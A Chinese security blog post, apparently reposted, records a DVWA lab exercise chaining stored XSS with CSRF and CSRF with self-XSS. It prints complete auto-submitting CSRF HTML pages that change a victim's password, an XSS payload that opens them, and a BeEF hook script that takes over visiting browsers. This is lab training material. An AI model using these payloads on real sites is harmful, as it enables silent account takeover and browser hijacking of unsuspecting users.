漏洞组合拳之XSS+CSRF记录

admin 2022年3月8日09:50:35评论98 views字数 3249阅读10分49秒阅读模式

作者:Freebuf-TeamsSix  

原文地址:http://33h.co/9i04q


今天学习一下 XSS + CSRF 组合拳,现将笔记记录如下。


靶场环境

本机(Win):192.168.38.1

DVWA(Win):192.168.38.132

Beef(Kali):192.168.38.129

组合拳思路

第一拳:存储型 XSS + CSRF(存储型 XSS 攻击代码中加入 CSRF 代码链接)

第二拳:CSRF + SelfXSS(CSRF 代码中加入 SelfXSS 代码)


【第一拳】存储型 XSS + CSRF

1、构造 POC

a、构造 CSRF 代码


这里建议使用 CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隐蔽,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互,也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。


本文所使用的 CSRF POC 便是基于 CSRFTester 生成的 POC。


继续来看,咱们需要首先为浏览器设置 8008 代理,打开 DVWA 的 CSRF 模块,输入密码后,先别急着点击 Change.


漏洞组合拳之XSS+CSRF记录


这时先开启 CSRFTester 的流量记录功能。


漏洞组合拳之XSS+CSRF记录


开启后,再点击 Change,之后 CSRFTester 就会抓取到修改密码的数据包,这个时候,一般 CSRFTester 还会记录其他流量,所以直接右击将不相关的流量进行删除即可,只保留我们需要的流量。


之后,在 Form Parameters 中将左侧 Query Parameters 数据修改复制即可,值得注意的是 Display in Browers 选项是默认勾选的这里建议根据自己情况而定。


因为这个工具自动生成的代码在我这边是需要手动修改才能利用的,所以我这边选择取消勾选。


漏洞组合拳之XSS+CSRF记录


之后点击 Generate HTML,选择保存的位置后,手动进行修改即可,当然如果工具生成的代码可以正常使用,就不需要修改了。


对于代码的修改,我主要是将 head、H2标题的内容删除了,以增加隐蔽性。同时增加了倒数第 4 行的代码,因为没有这一句,这个 POC 是不能正常使用的,最后修改后的 CSRF POC 代码如下。

<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "42" );
function pausecomp(millis){
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);}
function fireForms(){
var count = 1;
var i=0;
for(i=0; i<count; i++){
document.forms[i].submit();
pausecomp(pauses[i]);}}
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change">
<input type="hidden" name="password_new" value="123123"/>
<input type="hidden" name="password_conf" value="123123"/>
<input type="hidden" name="Change" value="Change" />
</form>
</body>
</html>

b、构造 XSS 代码

<script src="x" onerror=javascript:window.open("http://192.168.38.1/csrf.html")></script>

2、 开工

在 XSS (Stored) 模块下,插入 XSS 代码,当然了前提 Security Level 要设置为 low。


在 DVWA 中会碰到 POC 太长而无法输入完全的情况,这个时候在开发者工具中将这个框的 maxlength 值设置大一点即可,这里我设置了 500.


漏洞组合拳之XSS+CSRF记录


点击 sign guestbook 按钮,POC 就会被插进去了,之后用其他浏览器登陆其他用户,访问存储型 XSS 模块页面,当然前提也需要把 Security Level 要设置为 low.


漏洞组合拳之XSS+CSRF记录


访问页面后,浏览器会自动跳转,同时返回修改密码的界面


如果弹出页面显示如上图中的 Password Changed 字样,就说明受害者的密码修改成功了,而这也仅仅是因为受害者点击了一个页面。


 【第二拳】CSRF + SelfXSS

1、构造 POC

a、构造 XSS 代码

我这里使用 beef 作为 XSS 平台。

<script src="http://192.168.38.129:3000/hook.js"></script>

b、构造 CSRF 代码

这里继续使用 CSRFTester 工具生成 CSRF POC。


漏洞组合拳之XSS+CSRF记录


具体步骤如上图,这里就直接放出 CSRF POC 代码了,主要还是修改了倒数第 4 行的代码。

<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "54" );
function pausecomp(millis){
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);}
function fireForms(){
var count = 1;
var i=0;
for(i=0; i<count; i++){
document.forms[i].submit();
pausecomp(pauses[i]);}}
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.38.129:3000/hook.js'></script>">
<input type="hidden" name="name" value="<script src='http://192.168.38.129:3000/hook.js'></script>"/>
</form>
</body>
</html>

将上面代码放到本地 Web 服务中,打开其他浏览器,登陆其他账户,再打开我们构造的 CSRF 链接。

http://192.168.38.1/csrf.html

打开链接后,beef 中就能看到上线的主机了。

漏洞组合拳之XSS+CSRF记录

不过由于这个组合拳是需要诱导受害者点击构造的 CSRF 链接的,所以个人觉着利用难度要高于第一个组合拳:存储型 XSS + CSRF.


总结

暂时笔记就记录到这里,对于组合拳的利用方法也还有很多,这里只是自己简单的记录了两种。平时挖洞的时候利用好组合拳,所起到的效果可是杠杠滴。


声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.


历史文章推荐:

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

内网渗透之域渗透命令执行总结

[WEB安全]Weblogic漏洞总结


查看更多精彩内容,还请关注橘猫学安全

每日坚持学习与分享,麻烦各位师傅文章底部给点个“再看”,感激不尽漏洞组合拳之XSS+CSRF记录

原文始发于微信公众号(橘猫学安全):漏洞组合拳之XSS+CSRF记录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月8日09:50:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞组合拳之XSS+CSRF记录http://cn-sec.com/archives/820613.html

发表评论

匿名网友 填写信息